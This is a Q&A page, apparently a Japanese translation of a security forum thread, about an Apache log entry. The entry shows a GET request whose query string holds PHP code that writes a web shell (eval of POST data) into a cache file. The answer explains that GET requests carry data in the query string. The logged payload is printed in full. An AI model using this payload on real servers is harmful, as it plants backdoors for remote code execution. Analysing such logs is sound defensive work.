web-dev-qa-db-ja.com

ハッカーはGETリクエストを通じてデータを投稿できますか?

今日、Apacheのアクセスログファイルで次のリクエストを受け取りました。

"GET //?1=@ini_set(%22display_errors%22,%220%22);@set_time_limit(0);@set_magic_quotes_runtime(0);echo%20'-%3E%7C';file_put_contents(dirname($_SERVER%5B'SCRIPT_FILENAME'%5D).'/cache/cachee.php','%3C?php%20eval($_POST%5Bshine%5D);?%3E');echo%20'%7C%3C-'; HTTP/1.1" 200 42303

上記のリクエストURLから明らかなように、ハッカーはGETリクエストを通じてPOSTデータまたはファイルを試みますが、驚くべきことに、レスポンスステータスで200ステータスコードを取得しています。

どのタイプのハッキングの試みですか?

注:-セキュリティ上の理由から、サーバー上の一部のフォームURLを除くすべてのPOST要求をブロックしました。

したがって、ハッカーがサーバーに悪意のあるデータを投稿しようとすると、レスポンスで403ステータスコードを受け取ります。

上記のハッカーはGETリクエストを介して一部のデータを配置し、レスポンスで200ステータスコードを取得しました。

これがどのタイプのハッキング技術なのかを教えてください。

3
Pawan Patil

ハッカーは、POSTデータを送信しません。POSTは、GET、HEAD、OPTIONSなどのHTTPメソッドです。GETとは異なり、POSTメソッドには、データを転送するためのリクエスト本文を含めることができます。それでも、たとえば、URLのクエリ文字列(つまり、?で始まる部分)内など、GETリクエスト内でデータを転送することもできます。ログで確認してください。HTMLフォームを使用し、メソッドを明示的に指定しない場合、実際にはこれはデータの転送方法です。
そしてこれは正常な動作なので、サーバーは正常な応答コードを返します。

3
Steffen Ullrich